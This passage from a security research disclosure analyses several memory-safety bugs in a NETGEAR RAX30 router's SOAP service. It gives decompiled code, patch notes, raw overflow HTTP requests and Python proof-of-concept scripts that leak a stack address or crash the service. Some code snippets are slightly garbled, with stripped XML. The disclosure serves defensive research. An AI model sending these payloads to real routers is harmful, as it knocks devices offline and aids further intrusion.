    leak = response[response.index(leakStart)+len(leakStart):response.index(leakEnd)]

    # Print leaked data
    print('Leaked data: ' + " ".join(["{:02x}".format(x) for x in leak]))

    # Print leaked stack address
    address = struct.unpack('<>, leak[:4])[0]
    print('Stack Pointer: ' + hex(address))
    print('Stack: ' + hex(address - 0x1D8A8) + '-' + hex(address + 0x3758))

The following script output shows the stack pointer 0xbed7c8a8 was leaked, which was used to determine the stack memory range of 0xbed5f000 to 0xbed80000.

└─$ python3 soap_cat_memory_leak.py --domain 192.168.1.1 --port 5043
Sending large buffer...
Triggering leak...
Leaked data: a8 c8 d7 be 01
Stack Pointer: 0xbed7c8a8
Stack: 0xbed5f000-0xbed80000

Patch v1.0.10.94

The patch clears any existing data in the response variable by setting all bytes to zero using memset[1]. Although strncat is still used, it will function like strncpy as the buffer begins with a NULL byte.

void writeHttpResponse(UnkArg *param_1, int httpCode, char *httpCodeStr, int param_4, char *message)
{
    size_t responseLen;
    char buffer [128];
    char response [1024];

    memset(response, 0, 1024); // [1]
    memset(buffer, 0, 128);
    _writeHttpHeaders(httpCode, httpCodeStr, param_4, "text/html");
    memset(buffer, 0, 0x80);
    __snprintf_chk(buffer, 0x80, 1, 0x80, "%d %s\n\"#cc9999\">

%d %s

\ n"
, httpCode, httpCodeStr, httpCode, httpCodeStr); strncat(response, buffer, 0x80); memset(buffer, 0, 0x80); __snprintf_chk(buffer, 0x80, 1, 0x80, "%s\n", message); strncat(response, buffer, 0x80); memset(buffer, 0, 0x80); __snprintf_chk(buffer, 0x80, 1, 0x80, "
\n
\"%s\">%s\n\n", "http://schemas.xmlsoap.org/soap/encoding/", "\"OS/version\" UPnP/1.0 \"product/version\""); strncat(response, buffer, 0x80); responseLen = strlen(response); __fprintf_chk(param_1->file, 1, response, responseLen); return; }

PSV-2022-???? – SOAPAction Stack Buffer Overflow

Analysis

The vulnerability existed within the soap_response (0x006A9C) function which handled sending the SOAP response to the API request. This function allocated a buffer of 2048 bytes on the stack for the response XML string. The value provided after “#” in the SOAPAction header such as #Hello was then appended to an XML response tag, resulting in . The developers did not consider the scenario where the SOAPAction value was large as the output response was doubled for a large request due to being inserted in the opening and closing XML tag. Additionally, the insecure functions strcpy, strcat and sprintf were used extensively within this function.

The size of the standard response was approximately 264 bytes without the SOAPAction input before the overflow occurs. Given a SOAPAction input of 900, we can determine the approximate buffer size of 2064 bytes ((900 * 2) + 264). Thus, the buffer overflows by approximately 16 bytes.

The overflow was triggered in function soap_response (0x006A9C) in various function calls such as strcpy and spritnf depending on the size of the SOAPAction value as shown in the following code snippet:

void soap_response(undefined4 param_1,char *soapActionValue,undefined4 param_3,undefined4 *param_4, int para,char *result)
{
    int iVar9;
    char *local_58;
    char *local_54;
    int i = -(iVar9 + 0x807U   0xfffffff8);
    char* __dest_01 = (char *)((int) local_58 + i);
    char* pcVar7 =  stack0x0000008d + i;
    memset(__dest_01,0,iVar9 + 0x800);
    strcpy(__dest_01, "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\r\n<>\r\n        xmlns:soap-env =\"http://schemas.xmlsoap.org/soap/envelope/\"\r\n        soap-env:encodingStyle=\"http://s chemas.xmlsoap.org/soap/encoding/\">\r\n\r\n    <>);
    int offset = sprintf(pcVar7,"%s",soapActionValue); // Copy SOAPAction value for the first time
    pcVar7 = pcVar7 + offset;
    char* pcVar8 = pcVar7 + 0x36;
    strcpy(pcVar7,"Response\r\n        xmlns:m=\"urn:NETGEAR-ROUTER:service:"); // Append hard-coded XML string to buffer
    offset = sprintf(pcVar8,"%s",local_54);
    char* __dest = pcVar8 + offset + 6;
    strcpy(pcVar8 + offset,":1\">\r\n"); // Append hard-coded XML string to buffer
    local_54 =  DAT_0004012b;
    pcVar7 = "        <%s>%s\r\n";
    ...
    strcpy(__dest,"    ); // Append hard-coded XML string to buffer
    offset = sprintf(__dest + 8,"%s",soapActionValue); // Copy SOAPAction value for the second time
    pcVar7 = __dest + 8 + offset;
    strcpy(pcVar7,"Response>\r\n"); // Append hard-coded XML string to buffer
    ...
}

HTTP Request

The following request was unauthenticated and caused the binary to crash within sprintf from a corrupted stack due to the overflow of the SOAPAction header.

POST /soap/server_sa/ HTTP/1.1
User-Agent: ksoap2-android/2.6.0+
SOAPAction: urn:NETGEAR-ROUTER:service:DeviceInfo:1#AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Content-Type: text/xml;charset=utf-8
Accept-Encoding: gzip, deflate
Connection: close
Content-Length: 416
Host: routerlogin.net:5043

 xmlns:i="http://www.w3.org/2001/XMLSchema-instance" xmlns:d="http://www.w3.org/2001/XMLSchema" xmlns:c="http://schemas.xmlsoap.org/soap/encoding/" xmlns:v="http://schemas.xmlsoap.org/soap/envelope/"> xmlns:n0="urn:NETGEAR-ROUTER:service:DeviceInfo:1" />

Python Proof of Concept Script

The following proof of concept Python3 script (soap_action_overflow.py) triggers the stack buffer overflow on firmware version v1.0.7.78, causing the service to crash.

#!/usr/bin/env python3

import argparse
import requests
import urllib3

if __name__ == "__main__":
    urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
    parser = argparse.ArgumentParser(description='Crash soap_serverd binary on NETGEAR RAX30 router from a response buffer overflow.')
    parser.add_argument('--domain', default='routerlogin.net', help='The NETGEAR router domain.')
    parser.add_argument('--port', default=5043, type=int, help='The router soap server port.')

    args = parser.parse_args()

    payload = 'A' * 900

    headers = {
        'User-Agent': 'ksoap2-android/2.6.0+',
        'SOAPAction': 'urn:NETGEAR-ROUTER:service:DeviceInfo:1#' + payload,
        'Content-Type': 'text/xml;charset=utf-8',
    }

    xml = """
    
    
        
            
        
        
            
        
    
    """

    try:
        print('Sending payload...')
        requests.post('https://' + args.domain + ':' + str(args.port) + '/soap/server_sa/', data=xml, headers=headers, verify=False)
        print('Payload failed to crash server.')
    except requests.exceptions.ConnectionError as e:
        if 'Remote end closed connection' in str(e):
            print('Payload crashed server!')
        else:
            print(str(e))

Patch v1.0.9.92

The SOAP Action name length check was moved to occur before the service_type switch statement in the soap_action (0x016f78) function. Previously, this name length check only occured on an invalid service_type.

if (500 < actionNameLength)
{
    _actionNameLength = cmsUtl_strlen(actionName);
    log_log(3,"soap_action",0x130,"The length of ac is too long, it may be a bug or an attack.\n ac=%s length=%d",actionName,_actionNameLength,iVar8);
    actionName = "SOAP_ActionName_Too_Long";
    puVar6 =  DAT_0004115e;
    pcVar1 = "soap_action";
    goto LAB_000173c0;
}

It should be noted however, the root cause of the vulnerability within the soap_response function was not patched in v1.0.9.92 therefore it may still be possible to overflow the response buffer if other large attacker-controlled data can be introduced into the HTTP response.


PSV-2023-0010 – HTTP Body Off-By-One NULL Terminator Stack Canary Corruption

Analysis

An off-by-one NULL terminator caused the stack canary to become corrupt in the body stack buffer of 2,048 bytes within the handle_soapRequest (0x000152f0) function when a body payload of 2,048 bytes was passed. The process proceeded to terminate once the stack canary was corrupted with a stack smashing detected error.

This can be seen in the following code snippet. The handle_soapRequest (0x000152f0) function has a stack body buffer of 2,048 bytes [9], which is filled within the freadFile (0x000181b4) [10] [11] function when a body of 2,048 bytes is processed. freadFile returns the length read [12] which is 2,048 and that is stored in the bodyLength variable [13]. A NULL terminator is then wrote to bodyLength + 1 [14] which is 2,049 and therefore is wrote 1 byte out of bounds and corrupts the stack canary.

int handle_soapRequest(char* ip)
{
    char body [2048];                      // <-- [9] Body stack buffer of 2048 bytes
    ...
    memset(body, 0, 2048);
    ...
    int bodyLength = freadFile(body);      // <--- [10], [13] Data fills body buffer from HTPT request, body length is returned
    if (bodyLength > 0)
    {
        body[bodyLength + 1] = '\0';       // <-- [14] Out of bounds NULL byte write (bodyLength + 1 = 2049)
        soap_action(0,soapAction,body,ip);
    }
    ...
}

int freadFile(int param_1,char *buffer)
{
    memset(buffer, 0, 2048);
    int readCount = fread(buffer, 1, 2048, *(FILE **)(param_1 + 0xc)); // <-- [11] Data fills buffer from HTTP request with 2048 bytes
    return readCount;                                                  // <-- [12] Number of bytes read from HTTP request (max readCount = 2048)
}

HTTP Request

The following HTTP request triggers the out of bounds NULL terminator write:

POST /soap/server_sa/ HTTP/1.1
User-Agent: ksoap2-android/2.6.0+
SOAPAction: urn:NETGEAR-ROUTER:service:DeviceInfo:1#A
Content-Length: 2048
Host: 192.168.2.1:5043

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Python Proof of Concept Script

The following proof of concept script (soap_oob_null_write.py) can be executed to trigger the off-by-one out of bounds NULL byte stack canary corruption.

#!/usr/bin/env python3

import argparse
import requests
import urllib3

if __name__ == "__main__":
    urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
    parser = argparse.ArgumentParser(description='Crash soap_serverd binary on NETGEAR RAX30 router with an OOB NULL byte.')
    parser.add_argument('--domain', default='routerlogin.net', help='The NETGEAR router domain.')
    parser.add_argument('--port', default=5043, type=int, help='The router soap server port.')

    args = parser.parse_args()

    # Trigger OOB NULL byte crash
    payload = 'A' * 2048
    print('Sending payload...')
    requests.post('https://' + args.domain + ':' + str(args.port) + '/soap/server_sa/', data=payload, headers={
        'User-Agent': 'ksoap2-android/2.6.0+',
        'SOAPAction': 'urn:NETGEAR-ROUTER:service:DeviceInfo:1#A',
    }, verify=False)

    # Check we have crashed the SOAP service
    try:
        requests.post('https://' + args.domain + ':' + str(args.port) + '/soap/server_sa/', data='A', headers={
            'User-Agent': 'ksoap2-android/2.6.0+',
            'SOAPAction': 'urn:NETGEAR-ROUTER:service:DeviceInfo:1#A',
        }, verify=False)
        print('Payload failed to crash server.')
    except requests.exceptions.ConnectionError as e:
        if 'Connection refused' in str(e):
            print('Payload crashed server!')
        else:
            print(str(e))

On execution, the payload will be sent to the SOAP service and cause it to crash on vulnerable firmware versions.

└─$ python3 soap_oob_null_write.py --domain 192.168.1.1 --port 5043
Sending payload...
Payload crashed server!

Patch v1.0.10.94

The patch changes the freadFile function to accept the buffer size as a variable instead of using the fixed size of 2048. It then reads the data into this buffer at a length of the buffer size minus one, which prevents the NULL terminator from being wrote out of bounds.

int handle_soapRequest(char* ip)
{
    char body [2048];
    ...
    memset(body, 0, 2048);
    ...
    int bodyLength = _freadFile(body, 2048);
    if (bodyLength > 0)
    {
        body[bodyLength + 1] = '\0';
        soap_action(0, soapAction, body, ip);
    }
    ...
}


int freadFile(int param_1, void *buffer, size_t bufferSize)
{
    memset(buffer, 0, bufferSize);
    int readCount = fread(buffer, 1, bufferSize - 1, *(FILE **)(param_1 + 0xc));
    return readCount;
}

PSV-2023-0011 – HTTP Protocol Stack Buffer Overflow

Analysis

The handle_soapRequest (0x000152f0) function is vulnerable to a classic stack overflow in the protocol buffer [15] when the provided protocol is greater than 2048 bytes. Due to the stack layout, the overflow fills the protocol variable, followed by the soapAction [16] and body [17] buffers before overwriting the stack canary. The _fgetsFile (0x0018ef0) function call [18] retrieves the HTTP requests first line and stores it in line [19]. The protocol part of the line is then copied [20] to the protocol buffer [15] and overflows when the length of protocol exceeds the variable buffer size of 2048 bytes.

int handle_soapRequest(char *ip)
{
    ...
    char line [2048];       // <--- [19]
    char method [2048];
    char path [2048];
    char protocol [2048];   // <--- [15]
    char soapAction [2048]; // <--- [16]
    char body [2048];       // <--- [17]
    ...
    memset(line, 0, 2048);
    memset(method, 0, 2048);
    memset(path, 0, 2048);
    memset(protocol, 0, 2048);
    ...
    int readCount = _fgetsFile(line); // <--- [18]
    ...
    int iVar1 = __isoc99_sscanf(line, "%[^ ] %[^ ] %[^ ]", method, path, protocol); // <--- [20] Overflow occurs when protocol exceeds 2048 bytes
    ...
}

HTTP Request

The following HTTP POST request demonstrates this vulnerability by filling the protocol buffer with 2,048 A characters, the soapAction with 2,048 B characters, the body with 2,048 C characters and finally the stack canary with 4 D bytes.

POST /soap/server_sa/ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCDDDD
User-Agent: ksoap2-android/2.6.0+
